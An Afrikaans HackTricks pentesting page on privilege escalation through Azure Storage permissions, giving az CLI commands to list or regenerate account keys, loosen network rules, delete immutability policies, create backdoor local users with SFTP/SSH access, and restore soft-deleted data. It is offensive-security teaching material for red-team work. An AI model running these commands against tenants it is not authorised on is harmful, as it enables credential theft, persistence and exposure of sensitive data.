Az - Storage Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Storage Privesc

Vir meer inligting oor berging, kyk:

Az - Storage Accounts & Blobs

Microsoft.Storage/storageAccounts/listkeys/action

’n Hoofpersoon met hierdie toestemming sal in staat wees om die toegang sleutels van die berging rekeninge te lys (en die geheime waardes). Dit stel die hoofpersoon in staat om sy of haar voorregte oor die berging rekeninge te verhoog.

az storage account keys list --account-name <acc-name>

Microsoft.Storage/storageAccounts/regenerateKey/action

’n Hoofpersoon met hierdie toestemming sal in staat wees om die nuwe geheime waarde van die toegang sleutels van die stoor rekeninge te hernu en te verkry. Dit stel die hoofpersoon in staat om sy/haar voorregte oor die stoor rekeninge te verhoog.

Boonop sal die gebruiker in die antwoord die waarde van die hernude sleutel en ook van die nie-hernuede sleutel ontvang:

az storage account keys renew --account-name <acc-name> --key key2

Microsoft.Storage/storageAccounts/write

’n Hoofpersoon met hierdie toestemming sal in staat wees om ’n bestaande stoorrekening te skep of op te dateer deur enige instelling soos netwerkreĂ«ls of beleide op te dateer.

# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow

# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>

Blobs Spesifieke privesc

Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete

Die eerste toestemming laat toe om immutability policies in houers te wysig en die tweede om hulle te verwyder.

Note

Let daarop dat as ’n immutability policy in ’n vergrendeltoestand is, jy nie een van beide kan doen nie.

az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>

az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>

LĂȘer gedeeltes spesifieke privesc

Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action

Dit behoort ’n gebruiker met hierdie toestemming in staat te stel om die eienaarskap van lĂȘers binne die gedeelde lĂȘerstelsel te neem.

Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action

Dit behoort ’n gebruiker met hierdie toestemming in staat te stel om die toestemmings van lĂȘers binne die gedeelde lĂȘerstelsel te wysig.

Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action

Dit behoort ’n gebruiker met hierdie toestemming in staat te stel om aksies binne ’n lĂȘerstelsel as ’n supergebruiker uit te voer.

Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)

Met hierdie toestemming kan ’n aanvaller ’n nuwe plaaslike gebruiker vir ’n Azure Storage-rekening (gekonfigureer met hiĂ«rargiese naamruimte) skep en opdateer (indien hy die Microsoft.Storage/storageAccounts/localusers/read toestemming het), insluitend die spesifisering van die gebruiker se toestemmings en tuisgids. Hierdie toestemming is belangrik omdat dit die aanvaller in staat stel om hulself toegang tot ’n stoorrekening met spesifieke toestemmings soos lees (r), skryf (w), verwyder (d), en lys (l) en meer te verleen. Boonop kan die autentikasie metodes wat dit gebruik Azure-gegeneerde wagwoorde en SSH-sleutelpare wees. Daar is geen kontrole of ’n gebruiker reeds bestaan nie, so jy kan ander gebruikers wat reeds daar is oorskryf. Die aanvaller kan hul voorregte opgradeer en SSH-toegang tot die stoorrekening verkry, wat moontlik sensitiewe data blootstel of in gevaar stel.

az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use

Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action

Met hierdie toestemming kan ’n aanvaller die wagwoord vir ’n plaaslike gebruiker in ’n Azure Storage-rekening hernu. Dit gee die aanvaller die vermoĂ« om nuwe verifikasiekredens (soos ’n SSH of SFTP-wagwoord) vir die gebruiker te verkry. Deur hierdie kredensiale te benut, kan die aanvaller ongeoorloofde toegang tot die opslagrekening verkry, lĂȘer oordragte uitvoer, of data binne die opslaghouers manipuleer. Dit kan lei tot datalek, korrupsie, of kwaadwillige wysiging van die inhoud van die opslagrekening.

az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>

Om toegang te verkry tot Azure Blob Storage via SFTP (is_hns_enabled moet waar wees) met ’n plaaslike gebruiker via SFTP kan jy (jy kan ook ’n ssh-sleutel gebruik om te verbind):

sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password

Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action

Met hierdie toestemmings kan ’n aanvaller ’n verwyderde houer herstel deur sy verwyderde weergawe-ID te spesifiseer of spesifieke blobs binne ’n houer te onttrek, indien hulle voorheen sag-verwyder was. Hierdie privilige-eskalasie kan ’n aanvaller in staat stel om sensitiewe data te herstel wat bedoel was om permanent verwyder te word, wat moontlik kan lei tot ongemagtigde toegang.

#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>

#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"

Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read

Met hierdie toestemmings kan ’n aanvaller ’n verwyderde Azure-lĂȘerdeling herstel deur sy verwyderde weergawe-ID te spesifiseer. Hierdie privilige-eskalasie kan ’n aanvaller in staat stel om sensitiewe data te herstel wat bedoel was om permanent verwyder te word, wat moontlik tot ongeoorloofde toegang kan lei.

az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>

Ander interessante lykende toestemmings (TODO)

  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Verander eienaarskap van die blob
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Wysig toestemmings van die blob
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Gee die resultaat van die blob opdrag
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks